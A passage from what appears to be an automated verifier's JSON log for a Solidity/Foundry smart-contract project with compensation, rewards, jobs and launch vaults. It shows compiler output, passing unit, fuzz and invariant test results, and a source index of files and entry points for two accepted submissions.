162514264337592758246259\n  Bound result 1975733814\n  Bound result 3859\n  Bound result 4258\n  Bound result 696647206428856532941480\n  Bound result 821\n  Bound result 11726\n  Bound result 6773\n  Bound result 11711\n  Bound result 195\n  Bound result 2827\n  Bound result 6247\n  Bound result 772174552229016967\n  Bound result 4489\n  Bound result 44\n  Bound result 816556948285906101\n  Bound result 13651\n  Bound result 171238\n  Bound result 65261\n  Bound result 2008\n  Bound result 700\n  Bound result 62383\n  Bound result 13787\n  Bound result 7526417\n  Bound result 603\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.57s (4.56s CPU time)\n\nRan 1 test for test/CompensationStateful.t.sol:CompensationStatefulTest\n[PASS] invariantBuybackAndAirdropConserveBothAssets() (runs: 256, calls: 16384, reverts: 0)\n\n╭-----------------------------+------------+-------+---------+----------╮\n| Contract                    | Selector   | Calls | Reverts | Discards |\n+=======================================================================+\n| CompensationSequenceHandler | advance    | 3251  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | airdrop    | 3252  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | buyback    | 3314  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | fundIMD    | 3218  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | fundTokens | 3349  | 0       | 0        |\n╰-----------------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 500000000000000000000\n  Bound result 12710\n  Bound result 6488\n  Bound result 1576\n  Bound result 1514736315\n  Bound result 100\n  Bound result 96\n  Bound result 2054\n  Bound result 2367\n  Bound result 14422\n  Bound result 54\n  Bound result 53\n  Bound result 9\n  Bound result 8185\n  Bound result 8\n  Bound result 1382\n  Bound result 11\n  Bound result 1452\n  Bound result 868\n  Bound result 1662\n  Bound result 2065\n  Bound result 2061\n  Bound result 4\n  Bound result 162514264337593543871105\n  Bound result 3983517\n  Bound result 743848210655127415586764\n  Bound result 707\n  Bound result 2170\n  Bound result 2050\n  Bound result 91\n  Bound result 3368\n  Bound result 426586902195829660057330\n  Bound result 253\n  Bound result 1276\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.45s (5.44s CPU time)\n\nRan 1 test for test/VaultInvariants.t.sol:VaultInvariantsTest\n[PASS]\nVaultInvariantsTest invariants:\n[PASS] invariantAllIMDRemainsAtAuthorizedDestinations\n[PASS] invariantBuybackNeverExceedsFrozenBudgetOrTenTranches\n[PASS] invariantEpochAccountingIsFullyBacked\n[PASS] invariantNativeAndLaunchTokensRemainAtAuthorizedDestinations\n VaultInvariantsTest invariants (runs: 256, calls: 16384, reverts: 0)\n\n╭--------------+---------------------+-------+---------+----------╮\n| Contract     | Selector            | Calls | Reverts | Discards |\n+=================================================================+\n| VaultHandler | advance             | 2021  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | attemptDistribution | 2038  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | buyback             | 2055  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | distribute          | 2054  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | receiveFees         | 2047  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | requestJob          | 2080  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | rollover            | 1999  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | settleAndClaim      | 2090  | 0       | 0        |\n╰--------------+---------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 535482\n  Bound result 2696\n  Bound result 12256\n  Bound result 13058\n  Bound result 6103\n  Bound result 2400\n  Bound result 1\n  Bound result 1\n  Bound result 11492\n  Bound result 348\n  Bound result 7286381388927821586\n  Bound result 47\n  Bound result 1\n  Bound result 1\n  Bound result 254\n  Bound result 2293517444\n  Bound result 6483\n  Bound result 5307\n  Bound result 1\n  Bound result 272\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 10372\n  Bound result 1588\n  Bound result 1800001800\n  Bound result 54\n  Bound result 1\n  Bound result 1\n  Bound result 9464\n  Bound result 11978\n  Bound result 5838\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 12326227882998887060\n  Bound result 6604093946\n  Bound result 9413565550637084864\n  Bound result 5190\n  Bound result 7821733694436370511609573\n  Bound result 2189937844\n  Bound result 7537125859116\n  Bound result 11430\n  Bound result 4200\n  Bound result 9693\n  Bound result 2\n  Bound result 3910822138273509982\n  Bound result 2575\n  Bound result 3029\n  Bound result 3055457956\n  Bound result 3355\n  Bound result 1\n  Bound result 2\n  Bound result 15649\n  Bound result 6630\n  Bound result 8980678754437208536\n  Bound result 110000000000000000000\n  Bound result 878340192\n  Bound result 5811\n  Bound result 2689\n  Bound result 1\n  Bound result 535479\n  Bound result 21\n  Bound result 682520\n  Bound result 3\n  Bound result 9000000000000000000\n  Bound result 7028226924058184109853156\n  Bound result 11677\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.82s (8.81s CPU time)\n\nRan 17 test suites in 8.83s (23.43s CPU time): 88 tests passed, 0 failed, 1 skipped (89 total tests)\n","passed":true},{"durationMs":157,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CompensationVault.airdrop(address[],uint256[],bytes32[][])\",\"CompensationVault.buyback()\",\"CompensationVault.setLaunch(address,(address,address,uint24,int24,address))\",\"CompensationVault.unlockCallback(bytes)\",\"HolderRewards.claim(uint256,uint256,bytes32[])\",\"HolderRewards.onDeposit(uint256)\",\"HolderRewards.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"HolderRewards.requestDepositedEpoch(uint256,uint256)\",\"HolderRewards.retryOracle(uint256)\",\"HolderRewards.rollover(uint256)\",\"HolderRewards.setToken(address)\",\"JobsVault.requestJob(bytes)\",\"JobsVault.setToken(address)\",\"SIMDVault.bindLaunch(uint64,address)\",\"SIMDVault.distribute()\",\"SIMDVault.launch(bytes)\",\"SIMDVault.receive()\"],\"files\":{\".gitignore\":6,\"README.md\":114,\"docs/DEPENDENCIES.md\":15,\"docs/REVIEW.md\":31,\"docs/VERIFICATION.md\":20,\"foundry.toml\":16,\"remappings.txt\":4,\"src/CompensationVault.sol\":237,\"src/HolderRewards.sol\":307,\"src/JobsVault.sol\":62,\"src/Network.sol\":17,\"src/SIMDVault.sol\":128,\"src/VaultChild.sol\":33,\"src/interfaces/IIntake.sol\":17,\"src/interfaces/ILaunchFactory.sol\":12,\"src/oracle/OracleAttestation.sol\":239,\"src/oracle/OracleQuestion.sol\":258,\"test/AdversarialLifecycle.t.sol\":418,\"test/CompensationFailures.t.sol\":209,\"test/CompensationPriceBand.t.sol\":166,\"test/CompensationStateful.t.sol\":247,\"test/CompensationVault.t.sol\":221,\"test/Deployment.t.sol\":52,\"test/HolderRewards.t.sol\":324,\"test/JobsStateful.t.sol\":171,\"test/JobsVault.t.sol\":130,\"test/MigrationClaims.t.sol\":149,\"test/OracleConformance.t.sol\":96,\"test/RobinhoodFork.t.sol\":261,\"test/SIMDVault.t.sol\":197,\"test/TESTING.md\":70,\"test/TestBase.sol\":131,\"test/UniswapV4Integration.t.sol\":129,\"test/VaultInvariants.t.sol\":191,\"test/fixtures/MigrationClaims.sol\":331,\"test/fixtures/migration-evidence.json\":857,\"test/fixtures/migration-weights.json\":250,\"test/mocks/Mocks.sol\":258,\"tools/merkle.py\":145,\"tools/test_merkle.py\":36},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"c13b3f118b563193b3efcee1d841af0d3d0937b475f9393be5bb0b140935ed31","verifiedTreeHash":"538b5adf17dbd29f3864a48c22c983dc7b14a74e","verifierVersion":"0.1.0+560ab6a2"},{"checks":[{"durationMs":67466,"exitCode":0,"name":"build","output":"Compiling 119 files with Solc 0.8.26\nSolc 0.8.26 finished in 67.37s\nCompiler run successful!\n","passed":true},{"durationMs":5035,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 511.96µs (0.00ns CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] testCallbackSelectorMatchesCanonicalFifteenFieldTuple() (gas: 3673)\n[PASS] testDigestMatchesPublishedProtocolVector() (gas: 13253)\n[PASS] testPublishedProtocolSignatureVerifiesInActualConsumerBase() (gas: 75505)\n[PASS] testQuestionHashMatchesPublishedProtocolVector() (gas: 40115)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 750.13µs (495.08µs CPU time)\n\nRan 1 test for test/Deployment.t.sol:DeploymentTest\n[PASS] testFactoryCreate2DeploymentOnEmptyChainLinksAllChildrenAndHasNoOwners() (gas: 28284650)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 38.67ms (38.53ms CPU time)\n\nRan 3 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyOne() (gas: 4108774)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyZero() (gas: 4099300)\n[PASS] testUninitializedPoolCannotBind() (gas: 229196)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 235.66ms (5.10ms CPU time)\n\nRan 10 tests for test/CompensationVault.t.sol:CompensationVaultTest\n[PASS] testAirdropBlockedBeforeBuybackAndBadProductionProofSkips() (gas: 286723)\n[PASS] testAirdropPaysListedAccountsOnceProRataUsingFixedBalance() (gas: 2314006)\n[PASS] testEmptyBalanceDoesNotConsumeEligibilityAndBadWeightsSkip() (gas: 2044562)\n[PASS] testFixedCommitmentAndNoMutationOrWithdrawEntrypoints() (gas: 140420)\n[PASS] testFrozenBudgetIgnoresDonationsAndLeavesOnlyOriginalRoundingDust() (gas: 1716808)\n[PASS] testFuzzTranchesNeverExceedTenPercent(uint96) (runs: 256, μ: 1838386, ~: 1838865)\nLogs:\n  Bound result 19913\n\n[PASS] testPartialOrRevertedSwapRollsBackBudgetAndCooldown() (gas: 908050)\n[PASS] testThirtyMinuteBoundaryTenPercentAndTenMinuteSpacing() (gas: 2002853)\n[PASS] testUnlockCallbackAuthenticatedAndReentryCannotSpendTwice() (gas: 551930)\n[PASS] testZeroOrSubTenWeiBudgetCompletesAfterWindowWithoutSwap() (gas: 201599)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 276.37ms (279.52ms CPU time)\n\nRan 8 tests for test/CompensationFailures.t.sol:CompensationFailuresTest\n[PASS] testAirdropTransferReentryCannotPayAnotherBatch() (gas: 2642068)\n[PASS] testFuzzDuplicateEntriesAndRepeatedBatchesNeverOverpay(uint96,bool) (runs: 1000, μ: 2197946, ~: 2200362)\nLogs:\n  Bound result 1148595863835729965491228\n\n[PASS] testFuzzProductionRootRejectsUnprovenClaims(address,uint128) (runs: 1000, μ: 509493, ~: 509427)\nLogs:\n  Bound result 3\n\n[PASS] testLaterTrancheRejectionRetainsOriginalBudgetAndCanRetryImmediately() (gas: 1078754)\n[PASS] testMalformedBatchCannotFreezeAirdropBalance() (gas: 2263458)\n[PASS] testOutputTransferRejectionDoesNotConsumeFirstBuyback() (gas: 1038253)\n[PASS] testSecondRecipientRejectionRevertsFirstPaymentAndAllFlags() (gas: 3244187)\n[PASS] testUnrepresentableV4DeltaRevertsBeforeAnyAssetMoves() (gas: 482520)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 298.14ms (587.04ms CPU time)\n\nRan 7 tests for test/AdversarialLifecycle.t.sol:AdversarialOracleLifecycleTest\n[PASS] testAttestationUUIDCannotSettleTwoEpochsEvenWithTwoValidSignatures() (gas: 4329803)\n[PASS] testClaimsRejectAbsentAndUnansweredEpochsWithoutMarkingClaimed() (gas: 2930425)\n[PASS] testDeferredEpochCanBeSponsoredWithoutTouchingOtherReserves() (gas: 4548312)\n[PASS] testFuzzSignedButInvalidOracleFieldsNeverConsumePending(uint8) (runs: 1000, μ: 2912548, ~: 2911625)\nLogs:\n  Bound result 0\n\n[PASS] testOutOfOrderRolloversAndCarryOnlyEpochsPreserveEveryUnclaimedWei() (gas: 7824837)\n[PASS] testRetryFailurePreservesOriginalRequestAndSponsorFunds() (gas: 3865871)\n[PASS] testRetryUsesNewPriceButPreservesDepositBlockBudgetAndQuestion() (gas: 4086330)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 311.89ms (336.04ms CPU time)\n\nRan 5 tests for test/JobsVault.t.sol:JobsVaultTest\n[PASS] testExactThresholdAndPerWalletDailyBoundary() (gas: 1147243)\n[PASS] testInvalidBodyAndUnsoldActionRejected() (gas: 617940)\n[PASS] testNotConfiguredAndSetTokenOnlyVaultOnce() (gas: 338987)\n[PASS] testRejectedRequestsDontConsumeDailySlotAndReentryFails() (gas: 1177939)\n[PASS] testSixDecimalsThreshold() (gas: 1230516)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 313.44ms (1.63ms CPU time)\n\nRan 18 tests for test/HolderRewards.t.sol:HolderRewardsTest\n[PASS] testAggregateClaimsCannotExceedPot() (gas: 2933150)\n[PASS] testAnotherEpochAnswerCannotBePairedWithRequest() (gas: 3828996)\n[PASS] testClaimsRemainAvailableUntilRolloverAndTransferFailureIsAtomic() (gas: 3213549)\n[PASS] testDepositRequestsCanonicalBodyAtActualArbitrumDepositBlock() (gas: 3206835)\n[PASS] testEmptyRootCanRollOver() (gas: 2914059)\n[PASS] testExpiredFutureAndTamperedAttestationsRejected() (gas: 2819288)\n[PASS] testFuzzClaimsAndRolloverConserveFunds(uint128,uint128) (runs: 256, μ: 3071847, ~: 3069741)\nLogs:\n  Bound result 706873905\n  Bound result 2523380\n\n[PASS] testOnlyIntakeUnknownIdAndReplayRejected() (gas: 2797838)\n[PASS] testOnlyVaultCanSetTokenOrCreateEpochsOrSpendFromSelfCall() (gas: 144462)\n[PASS] testOversizedSignedTreeCannotDrainAnotherEpoch() (gas: 4038711)\n[PASS] testRetrySponsorPaysAndOldIdBecomesInvalid() (gas: 3961856)\n[PASS] testRolloverCarryCannotBeSpentByAnOversizedCurrentTree() (gas: 4101932)\n[PASS] testRolloverMovesExactlyUnclaimedAndNextDepositSnapshotsCarry() (gas: 6454998)\n[PASS] testSmallDepositNeverSpendsPreviousEpochReserve() (gas: 2793926)\n[PASS] testSnapshotEntitlementIndependentOfCurrentBalanceAndDoubleClaimFails() (gas: 3168211)\n[PASS] testUnansweredLatestEpochCanRollAndLateCallbackCannotReviveIt() (gas: 2841626)\n[PASS] testWrongChainBlockTypeAndWeakPanelRejected() (gas: 3013906)\n[PASS] testWrongLeafAndProofCannotClaim() (gas: 2837870)\nSuite result: ok. 18 passed; 0 failed; 0 skipped; finished in 311.69ms (349.46ms CPU time)\n\nRan 9 tests for test/SIMDVault.t.sol:SIMDVaultTest\n[PASS] testBindOnlyDevOnceAndValidatesRequesterTokenAndPool() (gas: 874493)\n[PASS] testFuzzSplitConservesFundsAndDust(uint128) (runs: 256, μ: 1680333, ~: 758609)\n[PASS] testGasExhaustingFactoryAndOracleDoNotPreventSplitAndBurn() (gas: 4822647)\n[PASS] testLaunchOnlyDevOnlyOnceExactApprovalVaultPayer() (gas: 464445)\n[PASS] testNoAdminOrRequesterTransferOrArbitraryWithdrawal() (gas: 125849)\n[PASS] testReentrantFactoryAndIMDTransfersCannotDoubleDistribute() (gas: 3047989)\n[PASS] testRejectedClaimAndOracleCannotBlockDistributionOrBurn() (gas: 1641024)\n[PASS] testRejectedLaunchCanRetryAndUnsoldCannotLaunch() (gas: 739922)\n[PASS] testSplitBurnFactoryNativePayoutAndWeekBoundary() (gas: 3481311)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 313.53ms (246.48ms CPU time)\n\nRan 2 tests for test/AdversarialLifecycle.t.sol:AdversarialJobsTest\n[PASS] testFuzzDecimalsThresholdOneUnitBelowAndExactlyEnough(uint8) (runs: 1000, μ: 1317658, ~: 1317628)\nLogs:\n  Bound result 1\n\n[PASS] testHoldingIsRecheckedAfterCooldownAndFailureDoesNotExtendIt() (gas: 979103)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 312.28ms (311.53ms CPU time)\n\nRan 7 tests for test/AdversarialLifecycle.t.sol:AdversarialLaunchAndDistributionTest\n[PASS] testBurnFailureRevertsClaimSplitEpochAndCooldownTogether() (gas: 6749228)\n[PASS] testFuzzUnauthorizedLaunchAndBindingLeaveAllStateUntouched(address,uint64) (runs: 1000, μ: 199110, ~: 199105)\n[PASS] testLateChildConfigurationFailureRollsBackEarlierChildrenAndCanRetry() (gas: 1308805)\n[PASS] testLaunchBodyBoundsDoNotConsumeOneTimePermission() (gas: 3017677)\n[PASS] testMaximumUintBalanceSplitsWithoutIntermediateOverflow() (gas: 3007312)\n[PASS] testRejectedNativeRecipientRollsBackAndImmediateRetrySucceeds() (gas: 5759755)\n[PASS] testRoundingDustParticipatesInFollowingWeek() (gas: 1014542)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 313.53ms (322.35ms CPU time)\n\nRan 4 tests for test/MigrationClaims.t.sol:MigrationClaimsTest\n[PASS] testAll62HistoricalProofsReproduceTheProductionCommitment() (gas: 460174)\n[PASS] testAllRealBeneficiariesPaidAfterTenTranchesAcrossBatches() (gas: 7265634)\n[PASS] testCorruptedRealProofsSkipWithoutConsumingEligibility() (gas: 5741334)\n[PASS] testFuzzAll62PayoutsConserveSupplyRegardlessOfOrder(uint96,uint8) (runs: 1000, μ: 5406428, ~: 5574619)\nLogs:\n  Bound result 2654\n\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 313.69ms (321.96ms CPU time)\n\nRan 1 test for test/JobsStateful.t.sol:JobsStatefulTest\n[PASS] invariantJobBudgetPaysOnlySuccessfulEligibleRequests() (runs: 256, calls: 16384, reverts: 0)\n\n╭------------------+-----------------------+-------+---------+----------╮\n| Contract         | Selector              | Calls | Reverts | Discards |\n+=======================================================================+\n| JobBudgetHandler | advance               | 3245  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | fund                  | 3261  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | request               | 3278  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | setIntakeAvailability | 3314  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | transferHolding       | 3286  | 0       | 0        |\n╰------------------+-----------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 5000000000000000000\n  Bound result 4664\n  Bound result 27794\n  Bound result 155\n  Bound result 11956\n  Bound result 6845\n  Bound result 58\n  Bound result 3414978228\n  Bound result 2069\n  Bound result 1800001801\n  Bound result 3541\n  Bound result 6\n  Bound result 10095\n  Bound result 28\n  Bound result 4819\n  Bound result 61\n  Bound result 5083\n  Bound result 6281281145556238957\n  Bound result 8982\n  Bound result 599290589\n  Bound result 8458\n  Bound result 1490\n  Bound result 3\n  Bound result 15\n  Bound result 666\n  Bound result 2559896971204282100\n  Bound result 3124842406\n  Bound result 11398\n  Bound result 108384\n  Bound result 136063138127\n  Bound result 162514264585168558092903\n  Bound result 7906\n  Bound result 2473\n  Bound result 9695\n  Bound result 696631796568346580681964\n  Bound result 703\n  Bound result 198\n  Bound result 1159131696695686693\n  Bound result 12219\n  Bound result 2630\n  Bound result 2827\n  Bound result 6193\n  Bound result 477\n  Bound result 2228\n  Bound result 45\n  Bound result 816556948285906101\n  Bound result 13815\n  Bound result 171238\n  Bound result 108384\n  Bound result 2230\n  Bound result 1914\n  Bound result 71\n  Bound result 14072\n  Bound result 7526417\n  Bound result 2349\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.25s (2.25s CPU time)\n\nRan 1 test for test/CompensationStateful.t.sol:CompensationStatefulTest\n[PASS] invariantBuybackAndAirdropConserveBothAssets() (runs: 256, calls: 16384, reverts: 0)\n\n╭-----------------------------+------------+-------+---------+----------╮\n| Contract                    | Selector   | Calls | Reverts | Discards |\n+=======================================================================+\n| CompensationSequenceHandler | advance    | 3251  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | airdrop    | 3252  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | buyback    | 3314  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | fundIMD    | 3218  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | fundTokens | 3349  | 0       | 0        |\n╰-----------------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 500000000000000000000\n  Bound result 10012\n  Bound result 5130\n  Bound result 999999\n  Bound result 2383\n  Bound result 71\n  Bound result 96\n  Bound result 2428\n  Bound result 1611\n  Bound result 4160631928\n  Bound result 2288\n  Bound result 53\n  Bound result 12\n  Bound result 29395908909429362\n  Bound result 8\n  Bound result 67\n  Bound result 11\n  Bound result 148\n  Bound result 868\n  Bound result 1252\n  Bound result 2065\n  Bound result 1557\n  Bound result 4\n  Bound result 162514264337593543871105\n  Bound result 3983517\n  Bound result 743848210655127415586764\n  Bound result 405\n  Bound result 2177\n  Bound result 509993787976341916416846\n  Bound result 91\n  Bound result 645178533181222335471743\n  Bound result 8223\n  Bound result 253\n  Bound result 1276\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.94s (2.94s CPU time)\n\nRan 1 test for test/VaultInvariants.t.sol:VaultInvariantsTest\n[PASS]\nVaultInvariantsTest invariants:\n[PASS] invariantAllIMDRemainsAtAuthorizedDestinations\n[PASS] invariantBuybackNeverExceedsFrozenBudgetOrTenTranches\n[PASS] invariantEpochAccountingIsFullyBacked\n[PASS] invariantNativeAndLaunchTokensRemainAtAuthorizedDestinations\n VaultInvariantsTest invariants (runs: 256, calls: 16384, reverts: 0)\n\n╭--------------+---------------------+-------+---------+----------╮\n| Contract     | Selector            | Calls | Reverts | Discards |\n+=================================================================+\n| VaultHandler | advance             | 2021  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | attemptDistribution | 2038  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | buyback             | 2055  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | distribute          | 2054  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | receiveFees         | 2047  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | requestJob          | 2080  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | rollover            | 1999  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | settleAndClaim      | 2090  | 0       | 0        |\n╰--------------+---------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 535482\n  Bound result 2432\n  Bound result 12737\n  Bound result 12801\n  Bound result 539291370\n  Bound result 49152\n  Bound result 1\n  Bound result 1\n  Bound result 11372\n  Bound result 1700\n  Bound result 1305\n  Bound result 47\n  Bound result 1\n  Bound result 1\n  Bound result 253\n  Bound result 5459\n  Bound result 6207\n  Bound result 6305\n  Bound result 1\n  Bound result 1117\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 9834\n  Bound result 594\n  Bound result 1293\n  Bound result 55\n  Bound result 1\n  Bound result 1\n  Bound result 9377\n  Bound result 11593\n  Bound result 4158\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 12326227882998887060\n  Bound result 6604093946\n  Bound result 9413565550637084864\n  Bound result 4428\n  Bound result 9531798553981606340591605\n  Bound result 3629143568\n  Bound result 7537125859116\n  Bound result 11898\n  Bound result 4105\n  Bound result 50404824\n  Bound result 2\n  Bound result 804741947711338613\n  Bound result 71\n  Bound result 3492\n  Bound result 869\n  Bound result 4208\n  Bound result 1\n  Bound result 2\n  Bound result 811561654\n  Bound result 177362149\n  Bound result 2541871168944536599\n  Bound result 2505600\n  Bound result 517440283\n  Bound result 5239\n  Bound result 2545\n  Bound result 1\n  Bound result 535479\n  Bound result 21\n  Bound result 682520\n  Bound result 2\n  Bound result 9999999999999999999999901\n  Bound result 11529\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.93s (4.93s CPU time)\n\nRan 16 test suites in 4.94s (13.17s CPU time): 81 tests passed, 0 failed, 1 skipped (82 total tests)\n","passed":true},{"durationMs":65,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CompensationVault.airdrop(address[],uint256[],bytes32[][])\",\"CompensationVault.buyback()\",\"CompensationVault.setLaunch(address,(address,address,uint24,int24,address))\",\"CompensationVault.unlockCallback(bytes)\",\"HolderRewards.claim(uint256,uint256,bytes32[])\",\"HolderRewards.onDeposit(uint256)\",\"HolderRewards.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"HolderRewards.requestDepositedEpoch(uint256,uint256)\",\"HolderRewards.retryOracle(uint256)\",\"HolderRewards.rollover(uint256)\",\"HolderRewards.setToken(address)\",\"JobsVault.requestJob(bytes)\",\"JobsVault.setToken(address)\",\"SIMDVault.bindLaunch(uint64,address)\",\"SIMDVault.distribute()\",\"SIMDVault.launch(bytes)\",\"SIMDVault.receive()\"],\"files\":{\".gitignore\":6,\"README.md\":113,\"docs/DEPENDENCIES.md\":15,\"docs/REVIEW.md\":31,\"docs/VERIFICATION.md\":20,\"foundry.toml\":16,\"launch.json\":10,\"remappings.txt\":4,\"src/CompensationVault.sol\":187,\"src/HolderRewards.sol\":307,\"src/JobsVault.sol\":48,\"src/Network.sol\":17,\"src/SIMDVault.sol\":128,\"src/VaultChild.sol\":33,\"src/interfaces/IIntake.sol\":17,\"src/interfaces/ILaunchFactory.sol\":12,\"src/oracle/OracleAttestation.sol\":239,\"src/oracle/OracleQuestion.sol\":258,\"test/AdversarialLifecycle.t.sol\":412,\"test/CompensationFailures.t.sol\":208,\"test/CompensationStateful.t.sol\":247,\"test/CompensationVault.t.sol\":217,\"test/Deployment.t.sol\":52,\"test/HolderRewards.t.sol\":324,\"test/JobsStateful.t.sol\":141,\"test/JobsVault.t.sol\":101,\"test/MigrationClaims.t.sol\":149,\"test/OracleConformance.t.sol\":96,\"test/RobinhoodFork.t.sol\":261,\"test/SIMDVault.t.sol\":185,\"test/TESTING.md\":63,\"test/TestBase.sol\":131,\"test/UniswapV4Integration.t.sol\":97,\"test/VaultInvariants.t.sol\":191,\"test/fixtures/MigrationClaims.sol\":331,\"test/fixtures/migration-evidence.json\":857,\"test/fixtures/migration-weights.json\":250,\"test/mocks/Mocks.sol\":258,\"tools/merkle.py\":123,\"tools/test_merkle.py\":36},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"cb66ded266a067d6249f88ff221f28cc447c4d94c5148f92221c6565d8324250","verifiedTreeHash":"853ba8c12eca10ddeb897f00e82c78769a445c3a","verifierVersion":"0.1.0+560ab6a2"}]}